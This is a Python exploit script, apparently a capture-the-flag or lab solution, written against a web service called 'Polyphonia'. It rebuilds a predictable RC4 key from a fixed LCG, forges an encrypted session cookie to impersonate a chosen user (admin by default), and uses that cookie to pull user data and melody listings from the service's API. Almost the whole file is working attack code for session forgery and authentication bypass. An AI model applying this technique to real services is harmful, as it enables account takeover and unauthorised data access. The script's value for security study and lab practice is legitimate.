132 lines
4.1 KiB
Python
Executable File
132 lines
4.1 KiB
Python
Executable File
#!/usr/bin/env python3
|
|
import argparse
|
|
import json
|
|
import sys
|
|
from urllib import error, request
|
|
|
|
# RC4 key derived via deterministic LCG (matches server runtime key derivation)
|
|
# LCG: state = (214013*state + 2531011) & 0x7fffffff; return state >> 16
|
|
# We generate 22 bytes by taking hi,lo bytes from successive 16-bit outputs.
|
|
def derive_rc4_key(length: int = 22) -> bytes:
|
|
state = 0
|
|
out = bytearray()
|
|
while len(out) < length:
|
|
state = (214013 * state + 2531011) & 0x7fffffff
|
|
r = (state >> 16) & 0xFFFF
|
|
hi = (r >> 8) & 0xFF
|
|
lo = r & 0xFF
|
|
if len(out) < length:
|
|
out.append(hi)
|
|
if len(out) < length:
|
|
out.append(lo)
|
|
return bytes(out)
|
|
SESSION_LEN = 64
|
|
|
|
|
|
def rc4(key: bytes, data: bytes) -> bytes:
|
|
s = list(range(256))
|
|
j = 0
|
|
for i in range(256):
|
|
j = (j + s[i] + key[i % len(key)]) & 0xFF
|
|
s[i], s[j] = s[j], s[i]
|
|
i = 0
|
|
j = 0
|
|
out = bytearray(len(data))
|
|
for idx, byte in enumerate(data):
|
|
i = (i + 1) & 0xFF
|
|
j = (j + s[i]) & 0xFF
|
|
s[i], s[j] = s[j], s[i]
|
|
k = s[(s[i] + s[j]) & 0xFF]
|
|
out[idx] = byte ^ k
|
|
return bytes(out)
|
|
|
|
|
|
def forge_cookie(username: str) -> str:
|
|
encoded = username.encode("utf-8")
|
|
if len(encoded) > SESSION_LEN:
|
|
raise ValueError("username too long for forged session payload")
|
|
padded = encoded + b"\x00" * (SESSION_LEN - len(encoded))
|
|
key = derive_rc4_key(22)
|
|
ciphertext = rc4(key, padded)
|
|
return ciphertext.hex()
|
|
|
|
|
|
def query_user(base_url: str, cookie_value: str) -> None:
|
|
url = base_url.rstrip("/") + "/api/user"
|
|
req = request.Request(url)
|
|
req.add_header("Cookie", f"session={cookie_value}")
|
|
with request.urlopen(req) as resp:
|
|
body = resp.read().decode("utf-8", errors="replace")
|
|
print(f"[+] HTTP {resp.status}")
|
|
print(body)
|
|
|
|
|
|
def query_melodies(base_url: str, cookie_value: str) -> None:
|
|
url = base_url.rstrip("/") + "/api/melodies"
|
|
req = request.Request(url)
|
|
req.add_header("Cookie", f"session={cookie_value}")
|
|
with request.urlopen(req) as resp:
|
|
raw = resp.read().decode("utf-8", errors="replace")
|
|
try:
|
|
data = json.loads(raw)
|
|
except json.JSONDecodeError:
|
|
print("[-] Failed to parse melodies JSON; raw response:")
|
|
print(raw)
|
|
return
|
|
items = data.get("melodies")
|
|
if not isinstance(items, list):
|
|
print("[-] Unexpected melodies schema; raw response:")
|
|
print(raw)
|
|
return
|
|
if not items:
|
|
print("[+] No melodies found")
|
|
return
|
|
print("[+] Melodies:")
|
|
for m in items:
|
|
if not isinstance(m, dict):
|
|
continue
|
|
name = m.get("name")
|
|
desc = m.get("description")
|
|
if not isinstance(name, str):
|
|
name = str(name)
|
|
if not isinstance(desc, str):
|
|
desc = ""
|
|
print(f"- {name}: {desc}")
|
|
|
|
|
|
def main() -> int:
|
|
parser = argparse.ArgumentParser(description="Forge Polyphonia session cookie via RC4 backdoor")
|
|
parser.add_argument("--base-url", default="http://localhost:22025", help="Server base URL")
|
|
parser.add_argument("--username", default="admin123", help="Username to impersonate")
|
|
parser.add_argument("--no-request", action="store_true", help="Only print the forged cookie")
|
|
args = parser.parse_args()
|
|
|
|
try:
|
|
cookie_value = forge_cookie(args.username)
|
|
except ValueError as exc:
|
|
print(f"[-] {exc}")
|
|
return 1
|
|
|
|
print(f"[+] Forged cookie for {args.username}: {cookie_value}")
|
|
|
|
if args.no_request:
|
|
return 0
|
|
|
|
try:
|
|
query_user(args.base_url, cookie_value)
|
|
# Then dump melodies for this session
|
|
query_melodies(args.base_url, cookie_value)
|
|
except error.HTTPError as exc:
|
|
body = exc.read().decode("utf-8", errors="replace")
|
|
print(f"[-] Server returned HTTP {exc.code}: {body}")
|
|
return 1
|
|
except error.URLError as exc:
|
|
print(f"[-] Failed to contact {args.base_url}: {exc}")
|
|
return 1
|
|
|
|
return 0
|
|
|
|
|
|
if __name__ == "__main__":
|
|
sys.exit(main())
|